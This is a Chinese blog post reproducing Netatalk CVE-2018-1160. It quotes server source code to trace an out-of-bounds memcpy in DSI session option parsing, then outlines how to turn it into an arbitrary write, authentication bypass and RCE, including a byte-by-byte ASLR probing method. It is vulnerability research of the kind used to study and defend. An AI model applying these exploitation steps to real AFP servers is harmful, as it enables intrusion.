Netatalk CVE-2018-1160 复现及漏洞利用思路

发布时间 2023-04-06 17:23:22作者: 辰星-cxing

author:cxing
Date:2023年4月6日
introduction:Netatalk 是一个** Apple Filing Protocol** (AFP) 的开源实现。 它为 Unix 风格系统提供了与 Macintosh 文件共享的功能。AFP的数据流量包格式为DSI(Data Stream Interface),DSI 在客户端和 AFP 服务器之间使用。

环境搭建

首先需要搭建netatalk的运行环境,这里使用docker搭建Ubuntu18.04,可以在docker Ubuntu18.04中进行环境复现。这里有两种方法,一是在docker中下载源码、安装依赖环境编译,二是在本机中下载源码、依赖编译。我这里选择了比较稳妥的的第一中。

运行Ubuntu 18.04的镜像,没有会自动从官方docker仓库中pull。

sudo docker run -it ubuntu:18.04 /bin/bash

关于详细的安装步骤可以参考先知的这篇文章搭建环境,如果你想使用我的环境可以使用下面链接下载我的docker镜像,并load进你的计算机中。

链接:https://pan.baidu.com/s/1NJOfT9xS111RSmgcSbEW3Q
提取码:8r5i

你需要使用如下命令启动docker,以保证我docker中的设置正常运行。

sudo docker run -p 548:548 -it --privileged=true temp-image:latest /sbin/init

Netatalk代码分析&漏洞点分析

netatalk处理请求类似于Apache,对于每一个用户请求都会为其fork一个子进程处理,而父进程则监控请求的处理情况。
netatalk的关键运行模块主要有两个,主模块afpd和AFP协议流量包处理模块libnetatalk。其中afpd主要功能为初始化服务的环境、监听和接受处理请求并为之构建请求处理的环境,而libnetatalk是具体解析和处理dsi流量的。

注1:Netatalk的大部分功能性函数命名风格采用 模块命名空间_函数描述 的格式,如afp_exit、afp_over_dsi、dsi_opensession等。
注2: DSI流量包格式可以参考这篇wiki,Data_Stream_Interface

对于理解Netatalk,需要用afp_start、afp_over_dsi为主线理解。

afp_start在main中被调用,通过阅读下面代码可以得知。第一个关键代码处调用了init_listening_sockets其目的是watch atp, dsi sockets and ipc parent/child file descriptor,也就是从这里开始监听APF请求了。
继续往下看,我们发现了(child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))这行代码,返货了进程描述符,这意味着从这里开始已经真正开始接收和处理请求了。

int main(int ac, char **av) {
    ...

    /* watch atp, dsi sockets and ipc parent/child file descriptor. */
    if (!(init_listening_sockets(&obj))) {
        LOG(log_error, logtype_afpd, "main: couldn't initialize socket handler");
        afp_exit(EXITERR_CONF);
    }

        ...

    while (1) {
        pthread_sigmask(SIG_UNBLOCK, &sigs, NULL);
        ret = poll(asev->fdset, asev->used, -1);
        pthread_sigmask(SIG_BLOCK, &sigs, NULL);
        saveerrno = errno;

        if (gotsigchld) {
            gotsigchld = 0;
            child_handler();
            continue;
        }

        if (reloadconfig) {
            nologin++;

            if (!(reset_listening_sockets(&obj))) {
                LOG(log_error, logtype_afpd, "main: reset socket handlers");
                afp_exit(EXITERR_CONF);
            }

            LOG(log_info, logtype_afpd, "re-reading configuration file");

            configfree(&obj, NULL);
            afp_config_free(&obj);

            if (afp_config_parse(&obj, "afpd") != 0)
                afp_exit(EXITERR_CONF);

            if (configinit(&obj) != 0) {
                LOG(log_error, logtype_afpd, "config re-read: no servers configured");
                afp_exit(EXITERR_CONF);
            }

            if (!(init_listening_sockets(&obj))) {
                LOG(log_error, logtype_afpd, "main: couldn't initialize socket handler");
                afp_exit(EXITERR_CONF);
            }

            nologin = 0;
            reloadconfig = 0;
            errno = saveerrno;

            if (server_children) {
                server_child_kill(server_children, SIGHUP);
            }

            continue;
        }

        if (ret == 0)
            continue;

        if (ret < 0) {
            if (errno == EINTR)
                continue;
            LOG(log_error, logtype_afpd, "main: can't wait for input: %s", strerror(errno));
            break;
        }

        for (int i = 0; i < asev->used; i++) {
            if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {
                switch (asev->data[i].fdtype) {

                    case LISTEN_FD:
                        // here
                        if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {
                            if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) {
                                LOG(log_error, logtype_afpd, "out of asev slots");

                                /*
* Close IPC fd here and mark it as unused
*/
                                close(child->afpch_ipc_fd);
                                child->afpch_ipc_fd = -1;

                                /*
* Being unfriendly here, but we really
* want to get rid of it. The 'child'
* handle gets cleaned up in the SIGCLD
* handler.
*/
                                kill(child->afpch_pid, SIGKILL);
                        }
                        }
                            break;

                            case IPC_FD:
                            child = (afp_child_t *)(asev->data[i].private);
                            LOG(log_debug, logtype_afpd, "main: IPC request from child[%u]", child->afpch_pid);

                            if (ipc_server_read(server_children, child->afpch_ipc_fd) != 0) {
                            if (!(asev_del_fd(asev, child->afpch_ipc_fd))) {
                            LOG(log_error, logtype_afpd, "child[%u]: no IPC fd");
                        }
                            close(child->afpch_ipc_fd);
                            child->afpch_ipc_fd = -1;
                        }
                            break;

                            default:
                            LOG(log_debug, logtype_afpd, "main: IPC request for unknown type");
                            break;
                        } /* switch */
                        }  /* if */
                        } /* for (i)*/
                        } /* while (1) */

                        }

我们再来看 afp_start函数。首先调用了dsi_getsession,并且forked后进入 afp_over_dsi处理本次请求。
我们先看dsi_getsession,我们可以看到在第一个数据包中只允许我们利用DSI中的command字段访问两个Command命令或者说函数,分别是DSIGetStatusDSIOpenSession
我们查阅一下,DSIOpenSession命令的分支即dsi_opensession函数。我们看到switch语句在解析DSI session options时,DSIOPT_ATTNQUANT分支中出现了一个memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);语句,这里存在一个越界写漏洞
在进入到dsi_opensession函数之前,会隐式的调用dsi_stream_receive函数,将我们发送的DSI数据包中的Payload字段 copy to dsi->commands中。而Payload字段是可控的,用户发包时自由指定,只要服务可以解析即可。因此,我们发现payload在这里实际上解析的格式是payload[0]:code, payload[1]:size, payload[2:size -1]:data,而memcpy拷贝至的dsi->attn_quantum变量却是一个uint32类型,也就说,只要我们合理设置size和data就可以触发越界写,覆盖&dsi->attn_quantum后面的字段。我们可以往后覆盖多少个字节呢?dsi->commands是一个uint8类型的指针,也就是解析格式中size最大值为255,我们可以往后覆盖255个字节。



static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
    afp_child_t *child = NULL;

    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
        LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
        return NULL;
    }

    // we've forked.
    if (child == NULL) {
        configfree(obj, dsi);
        afp_over_dsi(obj); /* start a session */
        exit (0);
    }

    return child;
}

/*!
* Start a DSI session, fork an afpd process
*
* @param childp    (w) after fork: parent return pointer to child, child returns NULL
* @returns             0 on sucess, any other value denotes failure
*/
/* DSI Commands */
#define DSIFUNC_CLOSE   1       /* DSICloseSession */
#define DSIFUNC_CMD     2       /* DSICommand */
#define DSIFUNC_STAT    3       /* DSIGetStatus */
#define DSIFUNC_OPEN    4       /* DSIOpenSession */
#define DSIFUNC_TICKLE  5       /* DSITickle */
#define DSIFUNC_WRITE   6       /* DSIWrite */
#define DSIFUNC_ATTN    8       /* DSIAttention */
#define DSIFUNC_MAX     8       /* largest command */

int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{

    switch (dsi->header.dsi_command) {
        case DSIFUNC_STAT: /* send off status and return */
            {
                /* OpenTransport 1.1.2 bug workaround: 
*
* OT code doesn't currently handle close sockets well. urk.
* the workaround: wait for the client to close its
* side. timeouts prevent indefinite resource use. 
*/

                static struct timeval timeout = {120, 0};
                fd_set readfds;

                dsi_getstatus(dsi);

                FD_ZERO(&readfds);
                FD_SET(dsi->socket, &readfds);
                free(dsi);
                select(FD_SETSIZE, &readfds, NULL, NULL, &timeout);    
                exit(0);
            }
            break;

        case DSIFUNC_OPEN: /* setup session */
            /* set up the tickle timer */
            dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
            dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
            dsi_opensession(dsi);
            *childp = NULL;
            return 0;

        default: /* just close */
            LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
            dsi->proto_close(dsi);
            exit(EXITERR_CLNT);
    }
}

/* DSI session options */
#define DSIOPT_SERVQUANT 0x00   /* server request quantum */
#define DSIOPT_ATTNQUANT 0x01   /* attention quantum */
#define DSIOPT_REPLCSIZE 0x02   /* AFP replaycache size supported by the server (that's us) */

/* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)
{
  uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
  int offs;

  if (setnonblock(dsi->socket, 1) < 0) {
      LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));
      AFP_PANIC("setnonblock error");
  }

  /* parse options */
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]){
    case DSIOPT_ATTNQUANT: // dsi_header.dsi_data[0]:code, dsi_header.dsi_data[1]:size, dsi_header.dsi_data[2:size -1]:data
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);  // 越界写,上层函数会执行 memcpy(dsi->commands, dsi_header->dsi_data) dsi_header是我们发包的内容
      dsi->attn_quantum = ntohl(dsi->attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      i += dsi->commands[i] + 1; /* forward past length tag + length */
      break;
    }
  }

// ...
    
  dsi_send(dsi);


}


DSI结构体如下,从attn_quantum字段往后溢出,我们最多可以溢出至data数组的部分空间(data数组非常大)。比较关键的是我们可以覆盖指针dsi->commands。在后面的漏洞分析小节,我们会纤细的讨论覆盖commands指针所导致的严重后果,这将使得我们可以RCE。
afp_start->dsi_getsession->dsi_opensession这条路径我们分析至此。大意的作用从两个关键函数名也可以看出来,核心就是open session,配置一些东西并开启正式的连接会话,你可以理解为TCP建立连接前的三次握手,但是在配置过程中产生了越界写漏洞。

typedef struct DSI {
    struct DSI *next;             /* multiple listening addresses */
    AFPObj   *AFPobj;
    int      statuslen;
    char     status[1400];
    char     *signature;
    struct dsi_block        header;
    struct sockaddr_storage server, client;
    struct itimerval        timer;
    int      tickle;            /* tickle count */
    int      in_write;          /* in the middle of writing multiple packets,
                                   signal handlers can't write to the socket */
    int      msg_request;       /* pending message to the client */
    int      down_request;      /* pending SIGUSR1 down in 5 mn */

    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */ // 
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;
    off_t    read_count, write_count;
    uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
    int      socket;            /* AFP session socket */
    int      serversock;        /* listening socket */

    /* DSI readahead buffer used for buffered reads in dsi_peek */
    size_t   dsireadbuf;        /* size of the DSI readahead buffer used in dsi_peek() */
    char     *buffer;           /* buffer start */
    char     *start;            /* current buffer head */
    char     *eof;              /* end of currently used buffer */
    char     *end;

#ifdef USE_ZEROCONF
    char *bonjourname;      /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
    int zeroconf_registered;
#endif

    /* protocol specific open/close, send/receive
     * send/receive fill in the header and use dsi->commands.
     * write/read just write/read data */
    pid_t  (*proto_open)(struct DSI *);
    void   (*proto_close)(struct DSI *);
} DSI;

我们再继续从afp_start->afp_over_dsi开始看。afp_over_dsi处理正式连接的请求核心再这个while循环。
首先第一行重要代码 cmd = dsi_stream_receive(dsi);Blocking read on the network socket,即阻塞地从socket连接中读取dsi steam,即会解析dsi流量填充dsi结构体,也就是反序列化dsi流量。
我们进入快速阅读一下dsi_stream_receive函数,注意我们关注的是该函数如何从socket中读取数据填充dsi结构体。我们可以明显的发现block变量即是DSI Header,将block copy to dsi.header中。而其中关键的数据包的body也即payload或者说dsi data是同过一行if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)从dsi结构体的buffer中读取到dsi->commands指针指向的内存中,最后其返回值返回block[1],也就是我们下图1中给出的DSI Header结构中的Command字段。至此我们了解该函数是如何把DSI流量数据填充进 dsi structure。

注3:这里我们就发现了任意地址写漏洞。我们最开始的越界写,第一次发包可以覆盖commands,而后续发包可以往commands中写入我们希望的数据,指针劫持并可控的写指针指向内存,并且我们发现我们可以写多少是由图1的total data length这个字段决定的,而这个字段是4字节大小且根据payload的长度计算值,因此我们可以写非常长的payload。
任意地址写漏洞是后续RCE的基。我们之所以可以如此是因为dsi->commands指针的生命周期与dsi结构体生命周期是一样的,存在于一次连接中。

我们继续回到afp_over_dsi的while循环中。再dsi_stream_receive函数返回时,其返回值同时也是本次请求的Command字段,该返回值进入Switch语句执行对应的command命令,而我们着重关注最核心的case DSIFUNC_CMD分支。
这个分支的作用简而言之,就是根据我们DSI数据流中的Payload字段的数据,执行AFP回调函数。我们可以发现核心的afp_switch变量,通过全局搜索afp_switch = 可以发现两处赋值(如图2所示)。通过变量名和两张回调函数表的内容,可以猜测,一个是未登入或未授权时走preauth_switch,一个是登入成功或授权时走postauth_switch

注4:我们拥有了任意地址写,那么处理得当,我们可以为授权时通过任意地址写将afp_switch的值改成postauth_switch,我们将可以访问postauth_switch中的回调函数,即触发未授权访问。更进一步,我们将preauth_switchpostauth_switch表中的一些项改成我们希望的代码段地址、one_gadget等,将触发RCE。因此目前我们已经从漏洞点中分析出未授权访问和RCE两种利用方式了。

image.png

image.png

void afp_over_dsi(AFPObj *obj)
{
	DSI *dsi = (DSI *) obj->dsi;
    
    // ...

	 while (1) {
        if (sigsetjmp(recon_jmp, 1) != 0)
            /* returning from SIGALARM handler for a primary reconnect */
            continue;

        /* Blocking read on the network socket */
        cmd = dsi_stream_receive(dsi);

        if (cmd == 0) {
            /* cmd == 0 is the error condition */
            if (dsi->flags & DSI_RECONSOCKET) {
                /* we just got a reconnect so we immediately try again to receive on the new fd */
                dsi->flags &= ~DSI_RECONSOCKET;
                continue;
            }

            /* the client sometimes logs out (afp_logout) but doesn't close the DSI session */
            if (dsi->flags & DSI_AFP_LOGGED_OUT) {
                LOG(log_note, logtype_afpd, "afp_over_dsi: client logged out, terminating DSI session");
                afp_dsi_close(obj);
                exit(0);
            }

            if (dsi->flags & DSI_RECONINPROG) {
                LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
                afp_dsi_close(obj);
                exit(0);
            }

            /* Some error on the client connection, enter disconnected state */
            if (dsi_disconnect(dsi) != 0)
                afp_dsi_die(EXITERR_CLNT);

            ipc_child_state(obj, DSI_DISCONNECTED);

            while (dsi->flags & DSI_DISCONNECTED)
                pause(); /* gets interrupted by SIGALARM or SIGURG tickle */
            ipc_child_state(obj, DSI_RUNNING);
            continue; /* continue receiving until disconnect timer expires
                       * or a primary reconnect succeeds  */
        }

        if (!(dsi->flags & DSI_EXTSLEEP) && (dsi->flags & DSI_SLEEPING)) {
            LOG(log_debug, logtype_afpd, "afp_over_dsi: got data, ending normal sleep");
            dsi->flags &= ~DSI_SLEEPING;
            dsi->tickle = 0;
            ipc_child_state(obj, DSI_RUNNING);
        }

        if (reload_request) {
            reload_request = 0;
            load_volumes(AFPobj, LV_FORCE);
        }

        /* The first SIGINT enables debugging, the next restores the config */
        if (debug_request) {
            static int debugging = 0;
            debug_request = 0;

            dircache_dump();
            uuidcache_dump();

            if (debugging) {
                if (obj->options.logconfig)
                    setuplog(obj->options.logconfig, obj->options.logfile);
                else
                    setuplog("default:note", NULL);
                debugging = 0;
            } else {
                char logstr[50];
                debugging = 1;
                sprintf(logstr, "/tmp/afpd.%u.XXXXXX", getpid());
                setuplog("default:maxdebug", logstr);
            }
        }


        dsi->flags |= DSI_DATA;
        dsi->tickle = 0;

        switch(cmd) {

        case DSIFUNC_CLOSE:
            LOG(log_debug, logtype_afpd, "DSI: close session request");
            afp_dsi_close(obj);
            LOG(log_note, logtype_afpd, "done");
            exit(0);

        case DSIFUNC_TICKLE:
            dsi->flags &= ~DSI_DATA; /* thats no data in the sense we use it in alarm_handler */
            LOG(log_debug, logtype_afpd, "DSI: client tickle");
            /* timer is not every 30 seconds anymore, so we don't get killed on the client side. */
            if ((dsi->flags & DSI_DIE))
                dsi_tickle(dsi);
            break;

        case DSIFUNC_CMD:
#ifdef AFS
            if ( writtenfork ) {
                if ( flushfork( writtenfork ) < 0 ) {
                    LOG(log_error, logtype_afpd, "main flushfork: %s", strerror(errno) );
                }
                writtenfork = NULL;
            }
#endif /* AFS */

            function = (u_char) dsi->commands[0];

            /* AFP replay cache */
            rc_idx = dsi->clientID % REPLAYCACHE_SIZE;
            LOG(log_debug, logtype_dsi, "DSI request ID: %u", dsi->clientID);

            if (replaycache[rc_idx].DSIreqID == dsi->clientID
                && replaycache[rc_idx].AFPcommand == function) {
                LOG(log_note, logtype_afpd, "AFP Replay Cache match: id: %u / cmd: %s",
                    dsi->clientID, AfpNum2name(function));
                err = replaycache[rc_idx].result;
            /* AFP replay cache end */
            } else {
                /* send off an afp command. in a couple cases, we take advantage
                 * of the fact that we're a stream-based protocol. */
                if (afp_switch[function]) {
                    dsi->datalen = DSI_DATASIZ;
                    dsi->flags |= DSI_RUNNING;

                    LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));

                    AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
                    err = (*afp_switch[function])(obj,
                                                  (char *)dsi->commands, dsi->cmdlen,
                                                  (char *)&dsi->data, &dsi->datalen);

                    AFP_AFPFUNC_DONE(function, (char *)AfpNum2name(function));
                    LOG(log_debug, logtype_afpd, "==> Finished AFP command: %s -> %s",
                        AfpNum2name(function), AfpErr2name(err));

                    dir_free_invalid_q();

                    dsi->flags &= ~DSI_RUNNING;

                    /* Add result to the AFP replay cache */
                    replaycache[rc_idx].DSIreqID = dsi->clientID;
                    replaycache[rc_idx].AFPcommand = function;
                    replaycache[rc_idx].result = err;
                } else {
                    LOG(log_maxdebug, logtype_afpd, "bad function %X", function);
                    dsi->datalen = 0;
                    err = AFPERR_NOOP;
                }
            }

            /* single shot toggle that gets set by dsi_readinit. */
            if (dsi->flags & DSI_NOREPLY) {
                dsi->flags &= ~DSI_NOREPLY;
                break;
            } else if (!dsi_cmdreply(dsi, err)) {
                LOG(log_error, logtype_afpd, "dsi_cmdreply(%d): %s", dsi->socket, strerror(errno) );
                if (dsi_disconnect(dsi) != 0)
                    afp_dsi_die(EXITERR_CLNT);
            }
            break;

        case DSIFUNC_WRITE: /* FPWrite and FPAddIcon */
            function = (u_char) dsi->commands[0];
            if ( afp_switch[ function ] != NULL ) {
                dsi->datalen = DSI_DATASIZ;
                dsi->flags |= DSI_RUNNING;

                LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));

                AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));

                err = (*afp_switch[function])(obj,
                                              (char *)dsi->commands, dsi->cmdlen,
                                              (char *)&dsi->data, &dsi->datalen);

                AFP_AFPFUNC_DONE(function, (char *)AfpNum2name(function));

                LOG(log_debug, logtype_afpd, "==> Finished AFP command: %s -> %s",
                    AfpNum2name(function), AfpErr2name(err));

                dsi->flags &= ~DSI_RUNNING;
            } else {
                LOG(log_error, logtype_afpd, "(write) bad function %x", function);
                dsi->datalen = 0;
                err = AFPERR_NOOP;
            }

            if (!dsi_wrtreply(dsi, err)) {
                LOG(log_error, logtype_afpd, "dsi_wrtreply: %s", strerror(errno) );
                if (dsi_disconnect(dsi) != 0)
                    afp_dsi_die(EXITERR_CLNT);
            }
            break;

        case DSIFUNC_ATTN: /* attention replies */
            break;

            /* error. this usually implies a mismatch of some kind
             * between server and client. if things are correct,
             * we need to flush the rest of the packet if necessary. */
        default:
            LOG(log_info, logtype_afpd,"afp_dsi: spurious command %d", cmd);
            dsi_writeinit(dsi, dsi->data, DSI_DATASIZ);
            dsi_writeflush(dsi);
            break;
        }
        pending_request(dsi);

        fce_pending_events(obj);
    }
}

/*!
 * Read DSI command and data
 *
 * @param  dsi   (rw) DSI handle
 *
 * @return    DSI function on success, 0 on failure
 */
int dsi_stream_receive(DSI *dsi)
{
  char block[DSI_BLOCKSIZ];

  LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");

  if (dsi->flags & DSI_DISCONNECTED)
      return 0;

  /* read in the header */
  if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block)) 
    return 0;

  dsi->header.dsi_flags = block[0];
  dsi->header.dsi_command = block[1];

  if (dsi->header.dsi_command == 0)
      return 0;

  memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
  memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
  dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
  memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));

  memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
  dsi->clientID = ntohs(dsi->header.dsi_requestID);
  
  /* make sure we don't over-write our buffers. */
  dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

  /* Receiving DSIWrite data is done in AFP function, not here */
  if (dsi->header.dsi_data.dsi_doff) {
      LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
      dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
  }
  // TCP fork dsi
  if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
    return 0;

  LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);

  return block[1];
}

static AFPCmd preauth_switch[] = {
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*   0 -   7 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*   8 -  15 */
    NULL, NULL, afp_login, afp_logincont,
    afp_logout, NULL, NULL, NULL,				/*  16 -  23 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  24 -  31 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  32 -  39 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  40 -  47 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  48 -  55 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, afp_login_ext,				/*  56 -  63 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  64 -  71 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  72 -  79 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  80 -  87 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  88 -  95 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  96 - 103 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 104 - 111 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 112 - 119 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 120 - 127 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 128 - 135 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 136 - 143 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 144 - 151 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 152 - 159 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 160 - 167 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 168 - 175 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 176 - 183 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 184 - 191 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 192 - 199 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 200 - 207 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 208 - 215 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 216 - 223 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 224 - 231 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 232 - 239 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 240 - 247 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 248 - 255 */
};

AFPCmd *afp_switch = preauth_switch;

AFPCmd postauth_switch[] = {
    NULL, afp_bytelock, afp_closevol, afp_closedir,
    afp_closefork, afp_copyfile, afp_createdir, afp_createfile,	/*   0 -   7 */
    afp_delete, afp_enumerate, afp_flush, afp_flushfork,
    afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,	/*   8 -  15 */
    afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,
    afp_logout, afp_mapid, afp_mapname, afp_moveandrename,	/*  16 -  23 */
    afp_openvol, afp_opendir, afp_openfork, afp_read,
    afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,
    /*  24 -  31 */
    afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,
    afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /*  32 -  39 */
    afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,
    afp_null, afp_null, afp_null, afp_null,			/*  40 -  47 */
    afp_opendt, afp_closedt, afp_null, afp_geticon,
    afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,	/*  48 -  55 */
    afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,
    NULL, NULL, NULL, NULL,					/*  56 -  63 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  64 -  71 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, afp_syncdir, afp_syncfork,	/*  72 -  79 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  80 -  87 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  88 -  95 */
    NULL, NULL, NULL, NULL,
    afp_getdiracl, afp_setdiracl, afp_afschangepw, NULL,	/*  96 - 103 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 104 - 111 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 112 - 119 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 120 - 127 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 128 - 135 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 136 - 143 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 144 - 151 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 152 - 159 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 160 - 167 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 168 - 175 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 176 - 183 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 184 - 191 */
    afp_addicon, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 192 - 199 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 200 - 207 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 208 - 215 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 216 - 223 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 224 - 231 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 232 - 239 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 240 - 247 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/* 248 - 255 */
};

漏洞利用分析

bingo,我们已经将两条主线分析完毕,也从中点出了漏洞点以及可能的利用方式,那么我们这一小节将根据我们的代码分析、漏洞点分析,讨论可能的利用思路和方式。具体的,我们会讨论越界写漏洞导致潜在任意地址写如何得以实现,即将潜在的变为真正的;我们将讨论任意地址写得以实现后,将详细分析如何RCE,简单的提一下如何进行未授权访问postauth_switch中的函数。

0x00 任意地址写

我们可以在第一次发送DSI数据包时,触发越界写,劫持commands指针,那么我们如何得以让commands指针写入我们希望的地址呢?在未开启ASLR时,这并不难,但现在我们开启了ASLR,我们没办法确定任意一个模块的base adress。
这时我们不妨先,先看一看内存布局。尽管程序开启了ASLR,但是我们每次处理我们连接的是fork出来的子进程,而子进程的虚拟进程空间的内存布局与父进程是一致的,也就是说每次fork出来的子进程其地址在父进程生命周期内都是固定的。

注5:gdb附加容器进程进行调试请使用如下命令
sudo gdb -q -p pgrep -n afp --ex "set follow-fork-mode child"

如图3,通过观察,我们可以得知ASLR的Randomization主要是 0x00 00 7f ?? ?? ?? ?0 00,这样的随机化规律。那么,我们可以通过不断的写commands指针的地址试,逐个试探??,观察子进程是否crash。若commands指针地址不可写,那么后续读commands指针数据的操作将触发非法内存访问导致进程crash,无法响应我们的请求。也就是说,如果我们发的包修改的commands指针地址合法,我们会收到响应的数据包,如果没有那么就意味着我们写的commands指针地址非法。
首先,commands指针原始的地址肯定是合法的、可写的。我们可以选择从0x00 00 7f ?? ?? ?? ?0 00的高字节逐字节往低试探(即上诉格式的从左往右消除问号),每当我们收到响应包时,我们便确定了一个??,转之继续往下一个??试探,直至确定一个合法的可写地址。
